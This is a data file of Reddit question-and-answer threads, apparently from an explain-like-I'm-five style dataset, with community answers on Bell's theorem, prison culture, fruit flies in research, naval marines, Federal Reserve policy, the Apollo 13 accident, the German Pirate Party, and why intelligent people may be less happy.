{"q_id": "19znj8", "title": "Why is the hidden variable theory incorrect?", "selftext": "I have been trying to wrap my head around randomness and how events cannot be predicted accurately if you have enough information. My research has brought me to the Bell Theorem which, as far as I can tell, proves the hidden variable theory incorrect. I don't have a background in science, and have been unable to understand the Bell Theorem. I have been a longtime lurker and made an account in hopes that someone could help me understand this. I hope I have posted in the correct spot, if this is a better suited question for ELI5 please let me know! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19znj8/why_is_the_hidden_variable_theory_incorrect/", "answers": {"a_id": ["c8srgnn", "c8srgxt", "c8srijb", "c8sv2bw", "c90e0xu"], "score": [9, 38, 12, 3, 2], "text": ["It's not that it proves that (local) hidden variable theory is incorrect, it's that it provides experimental predictions of what would happen if it were correct or incorrect. The results of these experiments rule out local hidden variables, with the proviso that no experiment has been performed without loopholes.", "Tell me if this is too ELI5:\n\nFirst, you draw a green dot on a glass ball, and I'll draw a green dot on a glass ball.  Let's suppose for a moment that I set these two balls spinning on the tips of fingers of different people, and they start walking away from each other.  Furthermore, let's suppose that we KNOW for certain that the angular momentums of these balls add up to zero.  The balls are spinning in opposite directions.\n\nNow suppose the two people walk away from each other, and you follow one with the ball I drew on, and I follow the one with the ball you drew on.  Eventually, I decide to look at the ball.  Now, I have no idea where on the ball you drew the dot, and since the ball is made of glass, I can see through it, and I can't tell if the green dot is on the near side or the far side of the ball; BUT I can tell if it's going around clockwise or counterclockwise from my point of view.  You have the same abilities and limitations when you look at your guy's ball.\n\nSo you write down the angle you look at the ball, and whether you observe it going clockwise or anticlockwise, and I do the same.  And then, because we're really bored, we do this whole setup a few thousand more times.\n\nWhat will we find when we compare notes?\n\nWell, first things first: if we observed our balls from the exact same angle, we should always have different findings as to whether it was going clockwise or anticlockwise.  Right?  We know the balls are rotating in opposite directions, so if we look at them from the same angle, we should always SEE that they're rotating in opposite directions.\n\nSimilarly, if we observe from precisely opposite directions, we should both report clockwise or both report anticlockwise, right?  If you observe a ball from the top, and I observe the other ball from the bottom, and the balls are spinning in opposite directions, we should both report we observed clockwise or anticlockwise rotation.  Think on that for a second.\n\nIt is perhaps less obvious that if we observe from perpendicular angles, there will be no correlation in our results.  What I saw doesn't tell me a thing about what you saw, if you watched from the top and I watched from the side, because all of a sudden our observations depend entirely on where we decided to draw that green dot.  Think about that - two balls, with green spots in totally different places, rotating in opposite directions, observed from perpindicular angles - why should there be any correlation between the observations we make?\n\nIn fact, mathematically we should expect the correlation to be perfectly linear, with perfect anticorrelation when we observe from the same angle, perfect noncorrelation when observed from perpendicular angles, and a linear trend between.  For example, our observations should be 50% anticorrelated (meaning we disagree roughly 3 times out of 4) if the difference between our viewing angles was 45 degrees.\n\nHere, the local variable is the location of the green dot on the glass sphere.  If we knew where the green dot was drawn, there would be only perfect correlation or anticorrelation because we could derive so much more from our observations.  The fact that the correlation between our observations changes *LINEARLY* with the difference in our viewing angle is indicative of the hidden variable, which is location of green dot.\n\nThis is precisely what does NOT happen when we use entangled particles instead of glass balls.  Instead, the correlation between observations made of entangled particles changes as a cosine of the \"viewing angle.\"  Hence, there is no local hidden variable in such experiments.", "I don't know how in depth you want to get, but here's a basic explanation.\n\nYou take two entangled particles (entangled means some property of the particles is correlated with each other, in this case it's spin) in a singlet state (meaning that the sum of their spins is 0). \n\nThe particles are sent in opposite directions and their spins are measured. If you measure the spin of the particles along parallel axes, you will always find that one particle has +1/2 spin, while the other has -1/2 spin.\n\nHowever, if you measure along a perpendicular axis, the spins will be opposite 50% of the time.\n\nAccording to a theory with local hidden variables, measuring between these angles will get you results that are linear, however when we actually do the experiment, we find that the results are in the shape of a cosine wave, exactly what's predicted by quantum theory sans local hidden variables.\n\n[This graph](_URL_0_) shows the results, the straight lines are what's predicted by a theory with local hidden variables, while the cosine shaped lines are what's predicted by quantum theory and what is actually seen in experiments.\n\nThere are some caveats to bell's theorem, first there are loopholes in it, which I wont get into here, and secondly it doesn't disallow the existence of non-local hidden variables, but non-local theories can lead to all sorts of weird things when combined with relativity, so they don't jive with too many physicists. ", "David Mermin wrote an article givingan explanation for a specific case of Bell's theorem. Using very simple logic, he shows why a certain probability *must* be at least 33%. But, in reality, it's 25%.\n\nThere is a version of that argument here: _URL_0_\n", " >   My research has brought me to the Bell Theorem which, as far as I can tell, proves the hidden variable theory incorrect.\n\nThe de Broglie-Bohm interpretation of QM is a hidden variable theory compatible with Bell's results. In fact, Bell's results merely disproved *local* hidden variable theories. de Broglie-Bohm is a non-local hidden variable theory, and the theory John Bell himself actually preferred."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://upload.wikimedia.org/wikipedia/commons/7/77/StraightLines.svg"], ["http://www4.ncsu.edu/unity/lockers/users/f/felder/public/kenny/papers/bell.html"], []]}
{"q_id": "2gh9xd", "title": "if child molesters or killer of children have a tougher time once in prison, why can't they lie about what they when asked by inmates?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gh9xd/eli5_if_child_molesters_or_killer_of_children/", "answers": {"a_id": ["ckj2h5d", "ckj2ja8", "ckj2xjc", "ckj35b1", "ckjabpm", "ckjhk53", "ckjkh1e"], "score": [66, 3, 39, 6, 2, 2, 4], "text": ["Word gets around.  Criminal convictions are public records in most places, and it's not hard to get a friend outside to look up what a guy is in for if you're suspicious of him. A lot of people do try to lie about it, but if anyone really gets suspicious, it won't work well. ", "Those cases generally get a lot of press, at least locally. Inmates have access to news. ", "The correctional officers might make sure that information leaked anyway.", "Some of them do. There was a [recent AMA](_URL_0_) by a guy who spent 17 months in prison because he was falsely accused of molesting his teenage stepdaughter. He kept to himself so most people didn't know what he was in prison for.", "When I was locked up, every new guy showed his papers to cell mates, just for this kind of situations : pedos, rapists, and so on. \n\nSo you can't really avoid talking about why you're inside or even lie about it, as the truth always comes out ( checking your papers when you're in the yard, talking with a guard, so on ).\n\n", "Court filings are public documents, so anyone who is interested could find out why someone is inside. I doubt the guards have any problem letting the other inmates know when a child molester is about to enter the unit as well. Never been inside myself, but this is my understanding.", "Two ways really, (former corrections officer). Each race generally has a leader or person responsible for \"checking\" new or unfamiliar faces on the block. Each race is generally responsible for \"checking\" any new inmates of their race which enter the block. I.E. an unfamiliar asian who no one recognizes from previous jail time comes onto the block - the asians will talk to him and feel him out. If he sounds or looks fishy they will ask him for his paperwork or arrest reports (very common to have in jail as you can keep legal paperwork on your person at all times, and this is basically your credentials like we would carry a drivers license). If they don't have these documents, and they're asked to provide them - in decent jail culture they will allow the inmate to ask their case worker for copies of these documents. If they still are not provided after a day or two then the are marked a \"skinner\" which is a child rapist. \n\nGenerally, when these people enter the prison system they are offered the chance (and highly encouraged) to go into protective custody - as the prison is responsible for the \"care, custody and control\" of the inmate population. So they come into the system, and go straight to a special secluded unit full of rapists...."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.reddit.com/r/IAmA/comments/2dlqut/iama_guy_who_was_falsely_accused_of_molesting_my/"], [], [], []]}
{"q_id": "aoahr5", "title": "why are fruit flies used so often in medical research experiments? how are they used? they're so small!", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aoahr5/eli5why_are_fruit_flies_used_so_often_in_medical/", "answers": {"a_id": ["efzex6k", "efzey9g", "efzhquc", "efzi8fo", "efzo11f"], "score": [25, 10, 7, 2, 2], "text": ["Fruit flies have a short life span. So you can see generation after generation in a short period of time. It\u2019s an easy way to see long term effects of something. ", "They have a very short life cycle, which means you can observe how a change you make works out over a few generations in a relatively short period for the observer", "They have a relatively small genome (165mill bp versus our 3bill bp), which we\u2019ve fully sequenced. There\u2019s also sort of a snowball effect where when one species gets heavily studied, it promotes future studies using the same model. Same can be said for Zebra Fish, Baker\u2019s Yeast, C. elegans, mice, etc.", "So how come mayflies aren\u2019t used? They have a shorter lifespan than fruit flies.\n\nI think it goes further than this.  For example, the drosophila fruit fly\u2019s genome is entirely sequenced, and the thing\u2019s been studied for over a century.  These flies also have a simple genome and yet very little genetic drift.\n\nAdded to that, the same family is available to almost every lab in the world.\n\nAs for how they\u2019re used: they\u2019re used in genetic experiments, breeding experiments, environmental experiments and more \u2014 I first used them in school when I was 10 to plot population growth and decline.\n\nThey may be small, but they\u2019re still huge on the genetic scale, as well as under the microscope\u2014 and most of the time it\u2019s a population of flies that is studied more than individual flies.  For that sort of thing, scientists scale up to mice and rats.", "They are not used much in \"medical\" experiments. Their large chromosomes and fast breeding time made them indispensable in genetics research ([ie](_URL_0_) mutations to grow two heads etc). If you want to test drugs or surgery then mice and rabbits are usually your first go-to."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://i.ie"]]}
{"q_id": "15orn1", "title": "How were 18th/19th century marines kept separate from sailors?", "selftext": "I've been going through the Aubrey/Maturin and Hornblower series recently and they don't talk too much about the marines other then they were kept separate from the sailors.  How was this done?  The old sailing were famous for having terrible working conditions and almost no room.  Sailors were given 18 ins of space to hang their hammocks.  How were the marines kept separate in these conditions?  Also, were marines impressed like sailors or were they accepted as volunteers?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15orn1/how_were_18th19th_century_marines_kept_separate/", "answers": {"a_id": ["c7oexdi"], "score": [6], "text": ["In the Dutch East India Company soldiers onboard had their own deck, the *koedek* or *kooidek*. This deck was around 5 feet high, so even the smallest soldier or sailor couldn't stand upright on the deck. Soldiers would stay here for 23 hours a day, only seeing daylight when they were brought on the upper deck to learn the basics of discipline. The ships of the Dutch Company being merchantmen instead of ships of the line, the number of sailors would be quite small, most of the time around 100 men, including their officers.\n\nFor the British eighteenth century navy: in his excellent study *The Wooden World* N.A.M. Rodger doesn't mentions any designated sleeping area for marines, but as their low-rate officers shared the gun-room with the ships warrant and low-rate officers I assume the marines shared the gun deck with the sailors. \n\nAs for the impressing, this happened to both sailors as to marines. Or to quite Rodger '[...] the Recruitment Act in effect permitted impressment for land forces, so a considerable number [of marines] are recruited in this way.' (N.A.M. Rodger, *The Wooden World. An Anatomy of the Georgian Navy* (New York and London 1986) 170.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7qhks4", "title": "what does it mean when the federal reserve \"unwinds\" its balance sheet? what are the effects/goals of doing this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7qhks4/eli5_what_does_it_mean_when_the_federal_reserve/", "answers": {"a_id": ["dsp9lep", "dsp9zim"], "score": [2, 2], "text": ["In finance \"unwinding\" is simply undoing a transaction - selling something you previously bought, although for a central bank the process is very, very complex. Their balance sheet is a list of their assets and liabilities - what they own and who they owe debt to.", "Basically, the fed bought lots and lots of government debt from people and organizations during and after the financial crisis. The people who sold this debt then had more cash that they could spend to stimulate the economy.\n\nThe fed is now in the process of reselling debt to reduce the amount of cash circulating in the economy as the need for stimulus is over and the bank is now seeking to lower the level of inflation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "aj909g", "title": "what exactly went wrong on apollo 13 and how was so many things missed?", "selftext": "I just watched the Ron Howard film, and I have to say it was one of the best films I\u2019ve ever watched. But it left some unanswered questions in my mind, like how did this miss all those errors? As well, if they used the same rocket as the successful Apollo 11 and 12, what was the difference with 13? How was everything missed? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aj909g/eli5_what_exactly_went_wrong_on_apollo_13_and_how/", "answers": {"a_id": ["eetoknc", "eett4p4"], "score": [11, 105], "text": ["In a nutshell, the oxygen tank that produced the explosion on the service module was damaged when it was accidentally dropped during a testing procedure.  The damage was internal, and thus went unnoticed.  Other Apollo rockets didn't have the same problem because their O2 tanks were never damaged.", "Basically it was a design flaw, an assembly error, and a testing error: a chain of events that led to near disaster. Each thing on it's own wasn't enough to cause the explosion, but the unlikely chain of all 3. The genesis of it started in 1965, before the first Apollo spacecraft was even built. The spacecraft was originally designed with a power system to operate on 28 volts, but during the design process, this was raised to 65 volts to match the power supply of the launch tower. One of the subcontractors who built the oxygen tanks didn't change this, and continued to manufacture oxygen tanks meant to operate on 28 volts.\n\nA few years later, in 1968, the spacecraft that was to be Apollo 13 was being assembled, and the oxygen tank was dropped, bending the vent pipe. It was determines the tank was still ok to use because there was no visible damage, so it was installed anyway. Later, during a test, the tank was filled with liquid oxygen as usual, but when it came time to empty it, it wouldn't drain, because unbeknownst to anyone, that pipe was bent. Instead, they decided to simply turn on the heater (the heater was used to turn the liquid oxygen in the tank to gaseous oxygen for use as needed) to let the oxygen vent off as gas overnight. Now here's where the wrong voltage comes into play. The thermostat attached to the heater inside the tank was supposed to cycle the heater on and off so it didn't get too hot, but the 65 volt power supply was too high for 28 volt circuitry in the tank and it blew out the thermostat. This meant the heater stayed on all night instead of cycling on and off, and as a result, it got so hot inside the tank that it burned off the teflon insulation on the wires. The next day when everyone came in, all they saw was that the tank was empty as expected.\n\nNow it's April 13th, 1970. The spacecraft is 2 days into it's 3 day journey to the moon, and everything is going as planned. Mission control asks command module pilot Jack Swigert to stir the tanks. There's a fan inside the tanks that stirs the liquid oxygen to get more accurate quantity readings. So Swigert, flips the switch to stir the tanks. The electricity flows through the exposed wires inside a tank filled with oxygen and arcs, igniting some of the charred remains of the teflon insulation (fire + concentrated oxygen = bad).  This caused the tank to explode. The explosion slammed close the valves feeding the fuel cells (the fuel cells generated power), tore holes in the other oxygen tank, and blew off one entire side of the service module, also damaging their main antenna and the main engine.\n\nSorry for the long answer. The only difference on 13 was the dropped tank. That triggers the chain of events that leads to the explosion, It could have happened on any. previous flight, but it didn't."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "tct9p", "title": "the german pirate party.", "selftext": "What do they actually stand for, and how are they becoming a real contender in German politics?\n\nAlso, do they actually have stances on issues outside of digital copyright?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/tct9p/eli5_the_german_pirate_party/", "answers": {"a_id": ["c4lin3m", "c4linrw", "c4liqe2", "c4lj4st", "c4ljl3b", "c4lle08", "c4lmck5", "c4lmu39", "c4loycf"], "score": [38, 106, 30, 6, 5, 3, 2, 4, 3], "text": ["Just as a sidetone, there are 21 recognized pirate parties in the world, the German one is only one of them.", "I'm not an expert but I tried to sum up some information...\nThe German Pirate Party was founded in September 2006. First their aims and goals were mainly focused on digital copyright and internet, as you mentioned. I guess this is why they became popular for young people in the first place. Their first real success was last year in Berlin (apart from the big Germany-wide elections, every federal state has own small elections) and they managed to get 8,9 % of the votes (in Berlin) and therefore made it into the federal state government.\n\n\nIt turns out that not only young people but also a big amount of nonvoters were attracted by this party. The success was rather surprising for everyone, including the Pirates themselves. Ever since, they are trying to get a proper party manifesto. They don\u2019t have opinions on everything yet but they i.e. want free education for everyone (get rid of university fees), free public transportation, they want to make democracy more accessible and transparent for the citizens, they oppose nuclear energy \u2013 just to name a few.\n\n\nThis year they made it into two more federal state governments and they try hard to get organized. They are still newcomers and not experienced in politics. But it seems as if their success makes them even more attractive for voters that are sick of the long-established parties.\n\nEDIT: Spelling.", "***How are they becoming a real contender in German politics?***\n\nThe Pirates' rise can be explained through their focus on internet related issues. A lot of young people feel those issues have been neglected by the established parties, i.e. too often laws are passed that seem to be tailored to suit the interests of big corporations. This helped the Pirates to gain an image of being different from other parties, in turn making them attractive to voters who think that most politicians have become detached from the things ordinary people care or worry about. In the eyes of those voters, the Pirates' lack of professionalism added to their credibility.\n\nToday, voting for the Pirates' also has become a way to protest against the political class without having to support a party too far to the right or left.\n\n***What do they stand for, and do they have stances on issues outside of digital copyright?***\n\nDigital copyright and internet related issues remain the most significant rallying point for the Pirates. There are other convictions (like all public transport should be free to use), but those play a minor role in the public perception. All in all, there are a lot of topics where the Pirates can't offer a stance (yet).", "I know this isn't exactly ELI5, but [here's a very relevant and fascinating discussion I saw some time ago on /r/depthhub between an IP creator who operates under the current model of copyright law and a member of the German Pirate Party.](_URL_0_)", "Not an ELIF article but this piece from Der Spiegel does give some info: [Germany's Pirate Party has gone from a tiny group of hackers to a significant force in an astoundingly short amount of time. Its growing pains are obvious to all, but the party could succeed in fundamentally changing German politics. First it must agree on what it stands for.](_URL_0_)", "You should look into their stances on digital copyright.  It goes way beyond supporting Pirate Bay.  They believe that infinite goods should be treated as infinite goods and be free to everyone, and content creators be supported by a public compensation model.", "I recommend that people interested in the Pirate Party read [Against Intellectual Monopoly](_URL_0_). As you might expect from its title, you can download it as a free, but the book can also be purchased if you prefer a hard copy.", "One more element to add to what others have said.\n\nGermany was fertile ground for something like the Pirate Party to be formed.\n\nEver since the early 80s there has been an organsation active in Germany called the Chaos Computer Club. They're now one of the biggest Hacker (in the positive sense of the word) groups in the world.\n\nIts from the CCC that the seeds of the Pirate party were planted, if only by gathering alot of like-minded individuals together.", "**What they stand for**:\n\n* increase transparency of political processes\n* more direct democracy, more direct participation of citizens\n* [liquid democracy](_URL_0_)\n* strengthen civil and political rights\n* lesser public surveillance\n* modification of intellectual property rights and copyright to the technological realities of the 21st century (note that does not mean to abolish copyright or something)\n\nThey are most noted in the public for their stances on the copyright issues (mostly because of their name) and the \"no public surveillance\" thingy because they became visible to the public eye when they strongly opposed internet censorship legislation that was discussed in germany in 2009.\n\n**They are becoming a contender in german politics because** enough people vote(d) for them and they get strong survey results since last fall. They are now in 3 regional parliaments, and surveys see them at around 10% at the time (5% is needed to enter parliaments). Due to these successes, they became a subject of public discourse, and are as of now a part of the german political landscape.\n\n**Do they have stances on issues outside of digital copyright?** Yes. Their main issues are actually the ones I mentioned first above. However, there are many issues on which they have no or only very poorly developed \"party stances\" yet, due to numerous reasons (I can follow up on this if someone wants). They state that, over time, they will develop these organically - much like other partys did before (prime example being the german green party)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.reddit.com/r/technology/comments/oy1wr/megaupload_users_plan_to_sue_the_fbi_over_lost/c3l0x5h"], ["http://www.spiegel.de/international/germany/0,1518,829451,00.html"], [], ["http://levine.sscnet.ucla.edu/general/intellectual/againstfinal.htm"], [], ["http://en.wikipedia.org/wiki/Liquid_democracy#Delegated_voting"]]}
{"q_id": "z3xp4", "title": "why is it that supposedly \"intelligent\" people are less happy with their lives than a person of average intelligence?", "selftext": "Ernest Hemingway once said, \"Happiness in intelligent people is the rarest thing I know.\"\n\nI'm just curious.  What exactly is it about intelligence that makes people less happy?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/z3xp4/eli5_why_is_it_that_supposedly_intelligent_people/", "answers": {"a_id": ["c6181s0", "c6198xm", "c61acw2", "c61b11h", "c61bt8h", "c61bzm6", "c61c58t", "c61cf8y", "c61cgvy", "c61djwj", "c61e7oh", "c61ewml", "c61f4r5", "c61fmv6", "c61o9ja"], "score": [82, 21, 12, 5, 3, 5, 5, 2, 3, 4, 7, 2, 2, 2, 2], "text": ["My guess would be that intelligent people understand the things that are wrong in their lives, where a not-so-intelligent guy just plodding along doesn't really know what's wrong.  And if you can articulate those problems, the worse you feel.\n\nI think it even goes beyond just intelligent/non-intelligent people.  I read a book on the American food system and now buying meat makes me pause; my friend hasn't read this book, and when she goes to buy meat, she doesn't go through the same mental calculations I do.  \n\nAnother friend of mine reads a lot of feminist blogs, but the more she reads, the more frustrated she gets with the whole situation.  She's really well-read and very articulate, but she has such a solid grasp of the patriarchy/feminism/etc, that she can't help but see those patterns in everyday life.  I can see some of them, but I'm not as well-read and not as frustrated.  \n\nAnd so on.  Just a guess, though!", "I'm going to assume you don't actually need an ELI5 answer, but I'll try to give you one - after I'm finished being verbose.\n\n\nDepression (and that doesn't necessarily have to mean clinical depression, but any emotional state of sadness) is a hotly-debated topic, given that it toes the line between neurochemistry and psychology; there is no conclusive evidence on why some people are plagued with constant regret or guilt. Sometimes we're able to draw links between hormone imbalances or other medical factors, while other times the genesis of depression can be purely psychological. \n\n\nAs you can imagine, that makes any studies or findings sure to be contested upon release. Currently, [specialists speculate](_URL_0_) that depression is an evolutionary addition to the human psyche that enables better problem resolution; studies have shown that people in melancholy states of mind are (generally) less judgemental, can better assess the accuracy and truth of rumours, and have enhanced access to long-term memory. \n\n\nSome results are quite remarkable: a psychiatry professor at John Hopkins found that, \"successful individuals were eight times as likely as people in the general population to suffer from major depressive illness.\" Similarly, a psychologist at the University of South Wales found that, \"sadness promotes \u201cinformation-processing strategies best suited to dealing with more-demanding situations.\"\n\n\n**In short,** sadness is a possible evolutionary development to ensure human progress; by lamenting failures, we are able to focus our mental faculties on fixing faults (be they real or perceived), improving on imperfection, and preparing for future attempts at success. This ties into our natural fear of disappointing others or being publicly shamed, as these events only make us re-examine how we have let others down and how to improve. Intelligent people tend to be more aware of their missteps, whereas those of average intelligence or below-average intelligence may not be (hence the old saying, \"ignorance is bliss\"). This is not to say that people who are not highly-intelligent cannot be sad or depressed, but their response mechanisms tend to be different.\n\n\nOf course, there are exceptions to the above. There are cases of depression where people stop functioning completely, or overcome their survival instinct and kill themselves; clearly, sadness cannot be touted as a purely beneficial evolution, seeing that it is perfectly capable of driving people to failure itself instead of away from it. \n\n\n**ELI5/TL;DR:** smart people are sad more often because they are afraid to make others mad at them or not do something right. Dumb people may not understand they are doing something wrong.\n\n\n(disclaimer: I am aware that there is very little in the way of concrete sourcing in this post - I will try to find more through scientific journals)", "Because ignorance is bliss. The more you know how cruel the world can be and what the truth is, you lose faith in humanity.", "I have had this discussion with my SO a few times.\n\n I am (relative to people in my area) intelligent but am pretty happy overall, even with some grasp on how terrible everything is in the world at large and here in America. He is also intelligent (in the actual IQ test sort of way) and occasionally really frustrated and quite often literally emotionally burdened by all the things humans can accomplish if we could straighten the fuck up and quit fighting about stupid shit, so we could progress.  \n\nOn the other end of the spectrum is our friend of lesser-but-average intelligence, whom I shall call \"David.\"\nDavid is chipper in a way I have not seen since I was in junior high. Full grown dude, naive as heck and willing to drop everything for his friends and even friends of friends. He makes his own music, has a wife and toddler, and a job you wouldn't think would be satisfying. And though he has responsibilities to take care of, mouths to feed and bills to pay, not to mention having been burned by those who would take advantage of David's kindness, he is the same. I have only seen him upset when participating in intellectual conversations, and even then he looks for solutions and bright sides.\n\nAs others have pointed out, intelligence opens your eyes. The example I have right now would be like when you are a child and the world is fun and bright and great. As you grow older you learn more and more about bad things that have happened, all the bad fortune that can fall upon you at a moments notice, and injustices and war and political whatnots. The world can seem really dark, very cruel. It's kind of like that.\n\nI hope I always have a little childhood and play left in me, so I can share the good things with my children and remind my boyfriend of how awesome things can be when he gets down.\n\n(Sorry this is super long. I really wanted to throw my 2 cents in.)\n", "The thing is, BamBam, that life is like a football game.  Your dad takes you to the stadium, you feel the excitement of the crowds, you find your seat, you get a bag of peanuts and the game is about to start.  You and your dad's favorite team are getting ready to play, and life is Grand.\n\nYour pop, who is your hero and your best friend, gives you the work up; what players to watch, what's at stake, the whole reason of why this game is everything to him.  You take it all in and are as excited as he is because your Dad is excited, so It Must Be Important. \n\nKickoff, cheers, boos, the game goes on and some loser is getting drunk and spoiling it for everyone.  Your dad drinks, maybe too much at home or on certain days, but you know the loser is getting out of hand because of the booze.  Does your dad get out of hand because of booze?  Seeing it in a new perspective is weird, focus on the game and enjoy yourself.\n\nHalftime.  Gotta use the facilities and the lines are long, especially for your kid sized bladder. Somebody gripes about how the box seats don't have to wait in line, and you remember asking your Pop earlier about those folks who are in the boxes.  Your old man grumps, they are greedy people who wear suits and don't deserve those perks, don't you mind them.  But they don't have to wait in line, you think, you don't see them in the lines waiting for drinks or food or restrooms.  Why do some people get to wait in line where others gets the box seats.  Your turn, take care of business and get back to your seat. \n\nThe game progresses, the sun gets hotter and your team is losing.  Why?  Aren't we the hardest working, best peopling, best coaching, super history, deservingest team ever?  Someone mentions how the other team got some super duper player, the one who is spoiling everything for Your Team, and we could have had them if we could have given him more money.  Why wouldn't someone play for our Best Team?  For Free?  Don't make any sense, and your hungry.  Your Pop hands you a $5 bill and you go looking for the snack bar.\n\nYou get lost and find yourself in the storage area.  Some of the food is obviously spoiled but you see people take it out to be sold anyway.  You go back knowing that someone is going home with a tummy ache, or worse. \n\nGame ends.  Home team lost, Dad is ticked, everyone is grumbling, you think you hear some little kid complaining about how his stomach hurts.  Takes forever to get home.  Somebody turns on the TV and another game is on.  You sit on the couch, and football isn't the same anymore.  Your now know that the drama includes all the people in the stadium, everyone is subject to stuff out of their control and life is not as simple as buying a ticket and enjoying the game. \n\n", "Because you realize just how much power the stupid have.", "Intelligent people can see through this mundane and bullshit existence for what it really is.", "The more intelligent you are the more questions you ask to yourself.Like you question why am i here ? where did i come from ? why do i exists ? Then for quenching your thirst you start to read more. You read about evolution and how you are just a product of evolution through millions of years.Nothing matters. You are here because you are here.You don't matter because nothing matters. Life doesn't matter nor does death.Then you go back to the first question again. WHY ? and there is no answer because there isn't .Sadness.", "Basically, the idea is that intelligent people are more aware/better understand various things, and the more they understand the more they see problems. People who understand economics see what a shithole the US is in, people who are aware of world affairs see all the tragedy and horror that occurs, people who get politics see how absurd our current process is. People who \"aren't intelligent\" either don't get it or just don't know about it, and therefore can't be perturbed by things they don't know/understand. \n\n\nAs a secondary point, my brain is very active. I think about things way too much. As such, when I am not occupied I automatically start analyzing things and the more I do, the worse I end up feeling. Nearly anything can be very depressing if you think enough about it. ", "Suppose that suddenly the world and all its important decisions are managed by kindergarteners. would you be happier or less happy in this world?\n\n\nthat is how smart people feel... all the time.", "I think - and this is from personal experience, so I can't give citations - that there's also the element of boredom/lack of challenge in there.\n\nOur ancestors were challenged every day. Wild animals are as well. How am I going to eat? How am I going to avoid being eaten? How am I going to procreate?\n\nModern life takes most of that away. For most of us, the most we have to worry about is what trousers to wear today or whether to have coffee or tea. When we're not challenged in life, we internalise challenges and create our own. Why did she leave me? Why will I always be alone? Why does everyone hate me? The problem with these challenges is that they're almost impossible to solve, and so they build frustration and you don't get the normal good feeling of completion once they're removed.\n\nThe more intelligent you are, the fewer external challenges life provides (because things are easier) and the more you internalise. So an intelligent person gets bored and unhappy unless they find the right challenges.\n\nSo, for example, you have a bloke in a normal 9-5 job and he hates it because it's easy, so he gets depressed and cuts himself off and doesn't go out looking for other challenges and it self perpetuates. Another person in the same job enjoys it because to him it's more of a challenge, so he leaves fulfilled at the end of the day and can put himself in situations which challenge him in other ways, so he's able to maintain that happiness.\n\nUnhappy man finds a job that challenges him. Because he's in the habit (i.e. the pathways of his brain are developed to push him into particular learned behaviour) he focuses himself in it completely. He gets a bit happier but only has one challenge in life and he sees it as the only way to keep happy. He still avoids other challenges because he's afraid of being bored and unhappy again, and as far as he can see the only cure is this new job.\n\nThe solution? More dangerous wild animals everywhere to keep us all on our toes. Why do you think Australians are so happy?\n\nSeriously, though, the secret is to always challenge yourself. My mantra has long been \"it's no fun unless it's hard\", and that stands me in good stead in pretty much every situation in life.", "Because sometimes, you feel like you have to fix all the problems in the world. There's this unstated societal expectation, this pressure, that \"smart\" people should, no, *will* and *must* fix everything. There's this constant underlying guilt, this \"why didn't I do better?\" You feel as though the world is counting on you. But not everyone is lucky, not everyone can cure cancer, create a vaccine for AIDS, end war, discover alien life forms, engineer time travel, make the world a better place. Sometimes, it's hard being intelligent. Sometimes, you wish that you could be dumb and happy, not expected to save the world. ", "I was a little bit surprised when I ctrl-f'd to find that nobody had said **Ignorance is Bliss.**\n\nI think anyone would be more depressed if they actually understood more about the world around them, it often has little to do with actual intelligence.", "Smart people like to learn because they have more curiousity. There are evil monsters hiding in smart places. Smart people will find them and stupid people will not even look. These monsters are facts and events in the world around us.", "Well, intelligence can have two different meanings. \n\n1. An achieved intelligence, in which you learn these things through experience and/or practice.\n\n1. An intelligence from simply having a high aptitude. You can't learn this, but you are born with it. \n\nIMO, I think that in Hemingway's quote that you have provided, he was speaking in the sense of aptitude. Now, to be born with a higher aptitude can seem wonderful, but it depends on the perspective you look at. \n\nImagine being good at things immediately, getting everything on your first try, and impressing people your entire life. To the outsider it seems like a wonderful gift, but it can be very different to whoever contains whatever the abilities may be. Now imagine always being different then your peers, separated. It would be hard to try to fit in because, well, people with gifts, usually lack what others commonly have, whether it be social skills, or chemical imbalance in the brain (could lead to depression itself).Not all people with abnormally high aptitudes are like this, but imo and experience most are.Hopefully one is not to take their abilities for granite but with every gift is a downside and vice versa. \n\nKind of like a celebrity, not in the sense that everyone loves you and all that but, the average person see's a celebrity, adores them, and wishes that they too could have fame, but the celebrity always says, yes the fame is nice, but i wish i had some privacy or somewhere along those lines. Not only this, but this average person doesn't look at the celebrity as a person, but as a celebrity, and acts accordingly. I can only conclude that this separation from the category of human, can only lead to why so many children stars grow up to be at a lot of times somewhat \"off\" and dysfunctional. They haven't developed how one normally should; \"with\" the people. \n\nWe are social creatures, and when someone isn't like us, it's like an invisible wall that forms. No matter what the difference is, the invisible wall will affect you. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nytimes.com/2010/02/28/magazine/28depression-t.html?_r=1&amp;em"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
